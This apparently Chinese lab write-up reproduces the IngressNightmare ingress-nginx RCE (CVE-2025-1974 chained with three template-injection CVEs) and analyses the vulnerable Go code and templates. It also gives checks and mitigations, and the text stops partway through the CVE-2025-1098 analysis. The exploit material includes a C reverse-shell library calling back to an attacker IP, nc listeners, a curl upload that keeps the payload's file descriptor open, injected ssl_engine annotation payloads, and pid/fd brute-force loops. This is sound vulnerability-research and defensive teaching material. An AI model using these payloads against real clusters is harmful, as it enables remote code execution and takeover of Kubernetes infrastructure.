问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
IngressNightmare CVE-2025-1974 RCE漏洞复现(超详细)
漏洞分析
近期,Ingress-Nginx爆出CVSS评分高达9.8的CVE-2025-1974 RCE漏洞,该漏洞可以和IngressNightmare系列漏洞中的其他模板注入漏洞一起使用达成RCE,本文对其中的3种漏洞组合进行了复现和原理分析。
近期,Ingress-Nginx爆出CVSS评分高达9.8的RCE漏洞,这里对其做了漏洞复现和原理分析。 需特别说明的是,RCE漏洞CVE-2025-1974需和IngressNightmare系列漏洞中的其他模板注入漏洞一起使用才可达成攻击目的。本文会给出3种漏洞组合的复现和原理分析,分别为: | 漏洞组合 | 描述 | |---|---| | CVE-2025-1974 + CVE-2025-24514 | 通过 auth-url 注释注入RCE | | CVE-2025-1974 + CVE-2025-1097 | 通过 auth-tls-match-cn 注释注入RCE | | CVE-2025-1974 + CVE-2025-1098 | 通过镜像 UID 注入RCE | 本文力求深入浅出通俗易懂,即使你是云安全方面的小白,也能带你手把手从环境搭建到漏洞复现到漏洞分析。如果觉得本文对你有帮助,欢迎点赞留言+关注本公众号【云原生安全指北】。有不懂的也欢迎在文末评论留言交流^\_^ 全文大纲如下,有不想看的章节可自行跳过:  一、背景 ---- ### 1.1 Ingress-Nginx介绍 Ingress是Kubernetes中的一种API对象,用于管理外部访问集群内服务的规则,提供HTTP/HTTPS路由、负载均衡和基于名称的虚拟主机等功能。它充当集群入口流量的统一控制层,解耦服务暴露与路由策略。 而 Ingress-nginx 是一个基于NGINX的 Kubernetes Ingress 控制器,用于管理集群入口流量。它通过监听 Kubernetes API 的 Ingress 资源规则,动态配置 NGINX 以实现 HTTP/HTTPS 路由、负载均衡、TLS 终止和路径重写等功能,是 Kubernetes 中广泛使用的 Ingress 解决方案之一。 ### 1.2 CVE-2025-1974漏洞介绍 这里仅做简单介绍,**漏洞成因及深入分析详见后文第三节。** #### 1.2.1 漏洞描述 CVE-2025-1974是由[Wiz团队](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities)发现的一个Ingress-nginx组件漏洞,CVSS评分高达9.8。由于Kubernetes Pod中部署的准入控制器无需认证即可通过集群中的任意pod网络访问,攻击者可以通过向ingress-nginx发送特制的AdmissionReview请求,远程注入任意的NGINX配置,ingress-nginx在其后会对nginx配置进行测试,从而触发埋藏的恶意指令,导致Ingress-nginx中的任意代码执行。 #### 1.2.2 影响版本 - ingress-nginx≤ 1.11.4 - ingress-nginx=1.12.0 #### 1.2.3 漏洞检查 在任一能够连接k8s集群的主机上执行命令检查是否使用ingress-nginx: ```bash kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx ``` 若存在返回的pod详情,则说明集群使用了ingress-nginx组件。 使用命令查看其镜像tag,可以查看版本号是否在受影响范围内: ```bash kubectl describe pod ingress-nginx-controller-f4b86cbdc-6wkzn -n ingress-nginx | grep Image: ```  #### 1.2.4 漏洞修复/缓解措施 可通过以下方式修复漏洞,或采取缓解措施降低风险: - 升级ingress-nginx组件至版本>1.12.0 - 使用 `controller.admissionWebhooks.enabled=false` 参数重新安装ingress-nginx - 删除名为 `ingress-nginx-admission` 的 `ValidatingWebhookConfiguration` ,并从 `ingress-nginx-controller` 容器的 Deployment 或 DaemonSet 中删除 `--validating-webhook` 参数。 二、漏洞复现 ------ CVE-2025-1974作为一个RCE漏洞,需和IngressNightmare系列中其他漏洞一起使用才可达成攻击目的,这里给出几种漏洞组合复现: | CVE-2025-1974+? | CVE-2025-24514 | CVE-2025-1097 | CVE-2025-1098 | |---|---|---|---| | 漏洞组合描述 | 通过 auth-url 注释注入RCE | 通过 auth-tls-match-cn 注释注入RCE | 通过镜像 UID 注入RCE | | 漏洞复现章节 | 2.1 | 2.2 | 2.3 | | 漏洞分析章节 | 3.1.0 + 3.1.1 | 3.1.0 + 3.1.2 | 3.1.0 + 3.1.3 | ### 2.0 环境搭建 本文搭建了以下环境用于漏洞复现: - 两台ubuntu虚拟机: - 靶机云环境:192.168.2.133 - 接收反弹shell:192.168.2.130 - k8s v1.28.1 - Ingress-Nginx v1.9.5 - Python 3.11.7容器 注:除特别说明使用攻击机外,所有操作均在靶机上执行 #### 2.0.1 云环境搭建 鉴于1.2中漏洞描述的受影响版本号,参考[ingress-nginx官方适配k8s版本](https://github.com/kubernetes/ingress-nginx?tab=readme-ov-file#supported-versions-table),k8s可任选1.20-1.32之间的版本进行安装。 可选安装方案: 1. 按照[这个教程](https://blog.csdn.net/weixin_52799373/article/details/140430146)搭建k8s环境,并安装kubectl 2. 使用[Metartget](https://github.com/Metarget/metarget)直接安装k8s:`./metarget gadget install k8s --version 1.28.1` #### 2.0.2 Ingress-Nginx安装 1. 安装版本选取 参考[ingress-nginx官方适配k8s版本](https://github.com/kubernetes/ingress-nginx?tab=readme-ov-file#supported-versions-table),根据2.1.1中安装的k8s版本对应的[Ingress-Nginx安装](https://blog.csdn.net/qq_41076892/article/details/133897130)。 这里本文k8s版本为1.28.1,选取Ingress-Nginx v1.9.5进行安装 2. 下载deployment文件 Deployment 是 Kubernetes 中用于声明式管理 Pod 副本集的资源对象,支持滚动更新、回滚和扩缩容等操作,确保应用始终处于预期状态。其声明文件使用yaml的格式像书写配置一样定义要运行多少个相同的程序(Pod)、用什么版本,之后它会按照该“说明手册”自动处理部署、更新和故障恢复,保证服务不中断。 使用命令下载Ingress-Nginx的deployment(其中的版本号根据上一步选取的版本号替换): ```bash wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.9.5/deploy/static/provider/baremetal/deploy.yaml ``` 3. 更改镜像源 由于一些众所周知的原因,使用默认的docker/containerd镜像源无法成功下载到镜像,因此这里对deployment文件进行更改,替换其镜像源。 首先查询ingress-nginx所需镜像: ```bash cat deploy.yaml | grep image: > image: registry.k8s.io/ingress-nginx/controller:v1.9.5@sha256:b3aba22b1da80e7acfc52b115cae1d4c687172cbf2b742d5b502419c25ff340e > image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80 > image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80 ``` 这里使用<https://docker.aityp.com/>搜索关键词`ingress-nginx/controller:v1.9.5` 、`ingress-nginx/kube-webhook-certgen:v20231011` :  点击镜像标题,进入详情页,复制镜像代理地址:  更改`deploy.yaml`中对应位置的镜像地址,更改后使用命令查看如下: ```bash cat deploy.yaml | grep image: > image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.9.5 > image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0 > image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0 ``` 4. 部署ingress-nginx 使用以下命令部署: ```bash kubectl apply -f deploy.yaml ```  部署完成后可通过命令查看部署情况(其中的-n参数表示指定命名空间为ingress-nginx): ```bash kubectl get all -n ingress-nginx ``` 正常情况下显示如下信息即表明部署成功(注意前几行的status):  pod/ingress-nginx-xxx后的status常见情况如下: - ContainerCreating:容器正在创建,耐心等待即可 - ImagePullBackOff:镜像拉取失败,需检查镜像源是否ok - Pending:调度失败或资源不足 - Completed:成功执行并正常退出 - Running:运行中 如果pod的status为Pending,可使用命令查看pod详情: ```bash kubectl describe pod ingress-nginx-controller-58ddb59f6b-p9pns -n ingress-nginx ``` 如果k8s集群为单节点,即只有一台机器安装了k8s节点,那么可能会遇到报错如下: ```bash 0/1 nodes are available: 1 node(s) had untolerated taint {node-role.kubernetes.io/control-plane: }. preemption: 0/1 nodes are available: 1 Preemption is not helpful for scheduling.. ``` 该错误表明节点存在不可容忍的污点,导致pod无法调度到该节点上,可通过命令查看并移除污点: ```bash kubectl get node kubectl describe node k8s-master01 | grep Taint kubectl taint nodes k8s-master01 node-role.kubernetes.io/control-plane:NoSchedule- kubectl describe node k8s-master01 | grep Taint ```  操作完成后,再次查看pod状态,可发现其恢复正常 #### 2.0.3 镜像准备 这里构建一个镜像用于模拟失陷容器。 1. 镜像构建 编写Dockerfile: ```bash # 使用官方Python基础镜像 FROM python:3.11.7 # 设置工作目录 WORKDIR /app # 安装requests库 RUN pip install --no-cache-dir httpx # 设置容器启动时运行的命令 CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"] ``` 2. 镜像编译 使用命令编译镜像: ```bash docker build -t python-test-ingress-nginx . ```  将docker镜像加载到containerd中: ```bash docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import - ``` 查看containerd镜像: ```bash sudo ctr -n k8s.io image ls | grep python ```  复制新的镜像tag以备后续部署 3. 镜像部署 编写deployment文件python\_deploy.yaml: ```yaml apiVersion: apps/v1 kind: Deployment metadata: name: python-app namespace: test spec: replicas: 1 selector: matchLabels: app: python-app template: metadata: labels: app: python-app spec: containers: - name: python-container image: docker.io/library/python-test-ingress-nginx:latest imagePullPolicy: Never ``` 执行命令新建test命名空间并部署: ```bash kubectl create ns test kubectl apply -f python_deploy.yaml ``` 查看其状态是否为running: ```bash kubectl get pod -n test ```  #### 2.0.4 下载poc/exp 本文使用的exp为[yoshino-s/CVE-2025-1974](https://github.com/yoshino-s/CVE-2025-1974) ,该exp以CVE-2025-24514+CVE-2025-1974的漏洞组合实现攻击。后续其他攻击复现都在该exp基础上进行更改。 使用命令下载payload,并进入到CVE-2025-1974目录: ```bash git clone https://github.com/yoshino-s/CVE-2025-1974.git cd CVE-2025-1974 ``` 本文模拟从失陷容器中直接发起攻击(更贴近真实攻击场景),因此不采用proxy的方式,需修改`exploit.py`,在其第12、13行前添加`#`以注释语句: ```python #admission_url = "https://localhost:18443/networking/v1/ingresses" #url = "http://localhost:8080/fake/addr" ``` 同时,修改其中的25行的遍历进程id的范围,更改后为: ```python for pid in range(26, 90): ``` 上述数值通过不断地重启ingress-nginx-controller的pod查看其nginx进程而得,算是经验性的范围。 #### 2.0.5 .so文件准备 修改`shell.c`文件中的服务器地址和端口为攻击机的ip和反弹shell的端口(随意指定,这里指定为9988),修改后的`shell.c`文件为: ```cpp #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/socket.h> #include<netinet/in.h> #include<arpa/inet.h> __attribute__((constructor)) static void reverse_shell(void) { char *server_ip="192.168.2.130"; uint32_t server_port=9988; int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0) exit(0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); char *args[] = {"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } ``` 使用命令编译shell.c文件为shell.so: ```bash gcc -fPIC -Wall -shared -o shell.so shell.c -lcrypto ``` 通过以下命令上传文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传: ```bash kubectl cp -n test ./shell.so python-app-546fb5495b-vvgwb:/app/ ``` ### 2.1 结合CVE-2025-24514:通过 auth-url 注释注入RCE #### 2.1.1 Exp准备 通过以下命令上传exp文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传: ```bash kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/ kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/ ``` #### 2.1.2 Exp执行 1. 在攻击机中执行命令监听: ```bash nc -lvnp 9988 ``` 2. 通过以下命令进入容器中,模拟失陷容器命令执行: ```bash kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash ``` 3. 在容器中执行命令运行exp: ```bash python ./exploit.py ``` 稍等片刻,即可看到反弹shell成功:  ### 2.2 结合CVE-2025-1097:通过 auth-tls-match-cn 注释注入RCE #### 2.2.1 Exp准备 修改`req.json`中的`request.object.metadata.annotations`,修改后为: ```json "annotations": { "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine xxx;\n#", "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs", "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" } ``` 修改`exploit.py`文件中的28-30行,将其改为: ```python data["request"]["object"]["metadata"]["annotations"]["nginx.ingress.kubernetes.io/auth-tls-match-cn"] = "CN=abc #(\n){}\n }}\nssl_engine %s;\n#" % (p,) ``` 将修改后的exp上传到容器中(这里`exploit.py`重命名为了`exp.py`以作区分): ```bash kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exploit_24514.py ``` #### 2.3.2 Exp执行 和前面的方法类似,在攻击机中执行命令监听: ```bash nc -lvnp 9988 ``` 进入容器中,在容器中执行命令运行exp: ```bash kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash python ./exploit_24514.py ``` 稍等片刻,即可看到反弹shell成功:  ### 2.3 结合CVE-2025-1098:通过镜像 UID 注入RCE #### 2.3.1 Exp准备 修改`req.json`中的`request.object.metadata`,修改后为: ```json "metadata": { "uid": "test", "name": "xxx", "namespace": "default", "creationTimestamp": null, "annotations": { "nginx.ingress.kubernetes.io/mirror-target": "test" } }, ``` 修改`exploit.py`文件中的28-30行,将其改为: ```python data["request"]["object"]["metadata"]["uid"] = "test;\n\n}\n}\n}\nssl_engine %s" % (p,) ``` 将修改后的exp上传到容器中(这里`exploit.py`重命名为了`exp.py`以作区分): ```bash kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exp.py ``` #### 2.3.2 Exp执行 和前面的方法类似,在攻击机中执行命令监听: ```bash nc -lvnp 9988 ``` 进入容器中,在容器中执行命令运行exp: ```bash kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash python ./exp.py ``` 稍等片刻,即可看到反弹shell成功:  三、漏洞分析 ------ ### 3.1 漏洞原理分析 #### 3.1.0 CVE-2025-1974:RCE远程命令执行 Kubernetes中的准入控制器(Admission Controller)是在API请求持久化之前拦截并处理请求的插件机制,用于强制实施自定义策略或验证资源规范,其Pod通常在集群内以较高的权限运行。 该机制在对象创建、更新或删除时触发,可修改(Mutating)或验证(Validating)请求内容,例如注入Sidecar容器、校验资源配额或实施安全策略。通过[动态准入控制](https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/extensible-admission-controllers/)(如`ValidatingWebhook`和`MutatingWebhook`),用户能扩展K8s的准入逻辑而无须修改APIServer代码。 由于准入控制器本质上可看做一个Web服务器,通常**不需要身份验证**,因此其**允许攻击者直接从网络中的任何 pod 访问**,从而扩大了攻击面。 ##### 3.1.0.1 漏洞攻击 原理如图所示:  该漏洞可通过两种方途径触发: - 若Ingress-Nginx准入控制器暴露在外部,那么攻击者可以直接从外部向ingress-nginx发送恶意请求 - 否则,若集群中存在失陷容器(例如:集群中一个web应用的Pod,存在SSRF或RCE漏洞),攻击者可通过失陷容器作为跳板,向ingress-nginx发送恶意请求 步骤分析如下: 1. 发送恶意的AdmissionReview请求 由于k8s中的准入控制器支持动态准入控制,且向准入控制器发送请求无需任何身份认证,因此,攻击者可向ingress-nginx的准入控制器发送一个恶意的AdmissionReview请求,该请求包含了一个含有`ssl_engine`指令的payload配置。 注:payload原理为模板注入,详见后续漏洞原理分析章节3.1.1、3.1.2、3.1.3。 2. AdmissionReview请求处理 当ingress-nginx的准入控制器收到AdmissionReview请求时,会根据模板文件和提供的 Ingress 对象生成一个临时的 nginx 配置文件。在解析请求的过程中,ingress-nginx控制器存在模板注入漏洞,通过该漏洞,将恶意指令ssl\_engine注入到了配置文件中(该部分原理分析见章节3.1.1、3.1.2、3.1.3)。 在Nginx临时配置文件生成完成后,ingress-nginx控制器会使用形如`nginx -c /tmp/nginx/xxx -t` 的命令测试配置文件有效性:  当`nginx -t` 命令被执行时,若配置文件中存在nginx指令,则指令会被执行。`ssl_engine`是一个能够在nginx中加载共享库的指令,且其可以存在于配置文件中的任意位置,因此,可以使用该指令去加载恶意库,从而达成攻击目的(例如:反弹shell)。 ##### 3.1.0.2 恶意共享库投递 ingress-nginx中不存在可以直接利用的恶意共享库,因此需要将其上传到容器中。(该步骤应在发送请求之前,但这里为了阐述逻辑连贯,将其置于此处描述) 其机制和过程如图所示:  进入到ingress-nginx-controller的pod中,可以看到其除了运行controller外,还运行nginx,其监听端口80/443:  nginx存在一个特性,在处理请求时,如果http请求体大于某个阈值([默认为 8KB](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)),就会将请求体body保存到临时文件中:  因此,可以利用这种特性,将恶意库的内容作为请求体body,发送一个大于其阈值的http请求,这样nginx就会将其保存到pod中的临时目录。 尽管nginx会立即[删除该文件](https://github.com/nginx/nginx/blob/e3a9b6ad08a86e799a3d77da3f2fc507d3c9699e/src/os/unix/ngx_files.c#L287),但nginx持有指向该文件的文件描述符fd,可以通过形如`/proc/xx/fd/xxx` 的形式访问该文件。 这里拿步骤2.0.5中的so文件做一个测试: 首先修改ingress-nginx-controller的deployment: ```bash kubectl edit deploy ingress-nginx-controller -n ingress-nginx ``` 修改spec.template.spec.containers.args.securityContext处配置,开启调试模式,修改后的securityContext配置如下: ```yaml securityContext: allowPrivilegeEscalation: true capabilities: add: - NET_BIND_SERVICE drop: - ALL privileged: true readOnlyRootFilesystem: false runAsNonRoot: false runAsUser: 0 seccompProfile: type: RuntimeDefault ``` 然后执行命令查看并进入新的ingress-nginx-controller容器: ```bash kubectl get pod -n ingress-nginx kubectl exec -it ingress-nginx-controller-f4b86cbdc-pzb6r -n ingress-nginx -- bash ```  打开新的标签页,进入任一包含该文件的其他容器,执行命令: ```bash curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive" ``` 为了保持文件描述符fd打开,这里设置了`Content-Length`为大于原文件大小(原文件大小可通过ls -la查看,这里为16576)的数值,还设置了`Content-Type`为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。 然后回到ingress-nginx-controller容器,查看nginx的fd,可以看到存在指向被删除的临时文件的fd:  由于该操作是基于nginx进程完成,而处理恶意AdmissionReview请求的进程为ingress-nginx-controller,因此无法通过`/proc/self/fd/xxx`的方式去访问该文件描述符fd,因此,在漏洞利用过程中需要发起多个恶意的AdmissionReview请求,爆破进程pid和文件描述符id,才能找到上传的共享库文件。 ##### 3.1.0.3 Exp分析 该漏洞攻击步骤主要分为两个部分:恶意共享库上传和发起恶意的AdmissionReview请求。其原理已在上方3.1.0.1、3.1.0.2中分析过了,这里对其exp进行分析。 ###### 3.1.0.3.1 恶意共享库上传 要达成恶意共享库上传,要点在于: 1. 库文件超过8kb 2. 维持长时间http连接,以保持fd开放 难点在于第2个条件。这里结合网上公开的exp进行分析,分别有三种方式: 1. 直接使用curl上传,携带特制的请求头,例如步骤3.1.0.2中使用的命令: ```bash curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive" ``` 上述命令中,设置了`Content-Length`为大于原文件大小的数值,并设置`Content-Type`为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。 2. [hakaioffsec/IngressNightmare-PoC](https://github.com/hakaioffsec/IngressNightmare-PoC/blob/main/exploit.py#L63)使用类似上个方法的原理,通过Python脚本发起请求: ```python def exploit(ingress_url): with open("evil_engine.so", "rb") as f: evil_engine = f.read() ... try: sock = socket.create_connection((host, port)) except Exception as e: print(f"Error connecting to {host}:{port}: {e} - host is up?") sys.exit(0) headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: qmx-ingress-exploiter\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n" f"\r\n" ).encode("iso-8859-1") http_payload = headers + evil_engine sock.sendall(http_payload) ``` 3. [yoshino-s/CVE-2025-1974](https://github.com/yoshino-s/CVE-2025-1974/blob/main/exploit.py#L50) 使用Python脚本中的`asyncio`库,通过`__aiter__`方法定义了一个异步迭代器,并在其中使用`await asyncio.sleep(60 * 60 * 60)`在第二次迭代时休眠60小时,创造了一个长时间保持打开的http连接,从而也达到了让nginx持续等待进程挂起的作用: ```python with open("shell.so", "rb") as f: shellcode = f.read() ... async def upload(): class FakeIterator: def __init__(self): self.done = False async def __aiter__(self): yield shellcode await asyncio.sleep(60 * 60 * 60) async with httpx.AsyncClient() as client: res = await client.post( url, data=FakeIterator(), ) print("Posting done") ``` ###### 3.1.0.3.2 发起恶意AdmissionReview请求 一般情况下,AdmissionReview请求由k8s的api server发起,但由于 Admission Controller 缺乏身份验证,因此集群中的任何 pod 都可以制作并发送任意AdmissionReview 请求。 可以使用 [kube-review](https://github.com/anderseknert/kube-review) 从 Ingress resource manifests创建AdmissionReview请求,示意如下: ```json { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "732536f0-d97e-4c9b-94bf-768953754aee", ... "name": "test", "namespace": "default", "operation": "CREATE", ... "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "test", "namespace": "default", ... "annotations": { "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "test.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "test", "port": {} } } } ] } } ] }, ... } } ``` 其中,ingress-nginx-admission-controller在解析其中的`request.object.annotations` 时存在模板注入漏洞,因此漏洞的payload会在这里携带精心构造的恶意指令。而恶意指令的构造就涉及到其他模板注入漏洞了,其原理分析详见后续章节3.1.1、3.1.2、3.1.3。 发起恶意AdmissionReview请求时,由于无法确定nginx进程号和指向上传的恶意库文件的文件描述符fd,因此需要遍历进程号和fd,并将其插入到构造的模板注入指令后。因此,可以看到两个exp中均存在进程和fd的遍历操作。 [hakaioffsec/IngressNightmare-PoC](https://github.com/hakaioffsec/IngressNightmare-PoC/blob/main/exploit.py#L58) 中的遍历操作如下: ```python with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(1, 50): # can be increased to 100 for fd in range(3, 30): # can be increased to 100 (not recommended) executor.submit(send_request, admission_url, json_data, proc, fd) ... def send_request(admission_url, json_data, proc, fd): ... path = f"proc/{proc}/fd/{fd}" ... ``` [yoshino-s/CVE-2025-1974](https://github.com/yoshino-s/CVE-2025-1974/blob/main/exploit.py#L25) 中的遍历操作如下: ```python for pid in range(30, 90): for fd in range(10, 40): p = f"/proc/{pid}/fd/{fd}" data["request"]["object"]["metadata"]["annotations"][ "nginx.ingress.kubernetes.io/auth-url" ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,) ``` #### 3.1.1 CVE-2025-24514:auth-url 注释注入 在解析AdmissionReview请求中的`request.object.annotations` 配置时,若配置为身份验证相关的`auth-url`: ```json "annotations": { "nginx.ingress.kubernetes.io/auth-url": "http://test.com" } ``` 会采用*authreq*解析器去处理(注意其中的`urlString`变量): ```go func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) { // Required Parameters urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations) if err != nil { return nil, err } authURL, err := parser.StringToURL(urlString) if err != nil { return nil, ing_errors.LocationDeniedError{Reason: fmt.Errorf("could not parse auth-url annotation: %v", err)} } ... return &Config{ URL: urlString, ... }, nil ``` 解析完成后,在创建临时配置文件时,上述返回值中的`Config.URL`会作为`$externalAuth.URL`直接[注入](https://github.com/kubernetes/ingress-nginx/blob/0ef18ba7fb7ffe5491bbabbb510eee0d17e3ae2a/rootfs/etc/nginx/template/nginx.tmpl#L1085)到模板中: ```yaml proxy_http_version 1.1; proxy_set_header Connection ""; set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }}; {{ else }} proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }}; set $target {{ $externalAuth.URL }}; {{ end }} proxy_pass $target; ``` 从上述authreq解析代码中可以看出,只要配置值能够通过`parser.StringToURL` 解析成功,就可以直接注入到nginx配置模板中,因此,可以构造以下payload: ```json "nginx.ingress.kubernetes.io/auth-url": "http://test.com/#;\nssl_engine /proc/xx/fd/xx;" ``` 经过模板注入后,生成的nginx配置如下所示: ```json ... proxy_http_version 1.1; set $target http://example.com/#; ssl_engine /proc/xx/fd/xx; proxy_pass $target; ... ``` [yoshino-s/CVE-2025-1974](https://github.com/yoshino-s/CVE-2025-1974/blob/main/exploit.py#L30) 采用的就是这种方式: ```python data["request"]["object"]["metadata"]["annotations"][ "nginx.ingress.kubernetes.io/auth-url" ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,) ``` #### 3.1.2 CVE-2025-1097:auth-tls-match-cn 注释注入 在解析AdmissionReview请求中的`request.object.annotations` 配置时,若配置为`auth-tls-match-cn`: ```json "annotations": { "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#", "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs" } ``` 会采用*authtls*解析器去处理(注意其中的`annotationAuthTLSMatchCN`和`config.MatchCN`): ```go const ( ... annotationAuthTLSSecret = "auth-tls-secret" //#nosec G101 annotationAuthTLSMatchCN = "auth-tls-match-cn" ) ... var authTLSAnnotations = parser.Annotation{ Group: "authentication", Annotations: parser.AnnotationFields{ annotationAuthTLSSecret: { Validator: parser.ValidateRegex(parser.BasicCharsRegex, true), Scope: parser.AnnotationScopeLocation, Risk: parser.AnnotationRiskMedium, // Medium as it allows a subset of chars Documentation: `This annotation defines the secret that contains the certificate chain of allowed certs`, }, ... annotationAuthTLSMatchCN: { Validator: parser.CommonNameAnnotationValidator, Scope: parser.AnnotationScopeLocation, Risk: parser.AnnotationRiskHigh, Documentation: `This annotation adds a sanity check for the CN of the client certificate that is sent over using a string / regex starting with "CN="`, }, }, } ... func (a authTLS) Parse(ing *networking.Ingress) (interface{}, error) { var err error config := &Config{} tlsauthsecret, err := parser.GetStringAnnotation(annotationAuthTLSSecret, ing, a.annotationConfig.Annotations) if err != nil { return &Config{}, err } ... config.MatchCN, err = parser.GetStringAnnotation(annotationAuthTLSMatchCN, ing, a.annotationConfig.Annotations) if err != nil { if ing_errors.IsValidationError(err) { return &Config{}, err } config.MatchCN = "" } return config, nil } ``` 从上述代码中可以看到该字段采用`CommonNameAnnotationValidator`去做校验,校验方法代码如下: ```go func CommonNameAnnotationValidator(s string) error { if !strings.HasPrefix(s, "CN=") { return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s) } if _, err := regexp.Compile(s[3:]); err != nil { return fmt.Errorf("value %s is not a valid regex: %w", s, err) } return nil } ``` 只要该字段值以`CN=`开头,并且剩余字符符合正则表达式语法,即可校验成功。 该字段对应nginx配置模板中的`$server.CertificateAuth.MatchCN` ,nginx模板如下: ```yaml set $proxy_upstream_name "-"; {{ if not ( empty $server.CertificateAuth.MatchCN ) }} {{ if gt (len $server.CertificateAuth.MatchCN) 0 }} if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) { return 403 "client certificate unauthorized"; } {{ end }} {{ end }} ``` 因此,可以构造符合要求的payload: ```json "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#", ``` 经过解析后,nginx配置如下所示: ```json ... set $proxy_upstream_name "-"; if ( $ssl_client_s_dn !~ CN=abc #( ){} }} ssl_engine /proc/xx/fd/xx; # ) { return 403 "client certificate unauthorized"; } ... ``` 由于上述authtls解析器代码中Parse函数会校验`auth-tls-secret`是否为空:  因此需要同时携带`nginx.ingress.kubernetes.io/auth-tls-secret` 参数才可以正常生成nginx配置文件,该参数对应于集群中存在的 TLS 证书或密钥对。由于 Ingress NGINX 使用的服务帐户可以访问集群中的所有密钥,因此我们可以从任何命名空间指定任何密钥名称,只要其符合所需的 TLS 证书/密钥对格式即可,以下值均可使用: ```json kube-system/konnectivity-certs kube-system/azure-wi-webhook-server-cert kube-system/aws-load-balancer-webhook-tls kube-system/hubble-server-certs kube-system/cilium-ca calico-system/node-certs cert-manager/cert-manager-webhook-ca linkerd/linkerd-policy-validator-k8s-tls linkerd/linkerd-proxy-injector-k8s-tls linkerd/linkerd-sp-validator-k8s-tls ``` [hakaioffsec/IngressNightmare-PoC](https://github.com/hakaioffsec/IngressNightmare-PoC/blob/main/review.json#L41C11-L42C85) 采用的payload如下: ```json "annotations": { "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine ../../../../../../REPLACE;\n#", "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs", "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" //该句配置不携带也可以达成攻击目的 } ``` #### 3.1.3 CVE-2025-1098:镜像 UID 注入 在解析AdmissionReview请求中的`request.object.annotations` 配置时,若配置为`mirror-target` : ```json "annotations": { "nginx.ingress.kubernetes.io/mirror-target": "test" } ``` 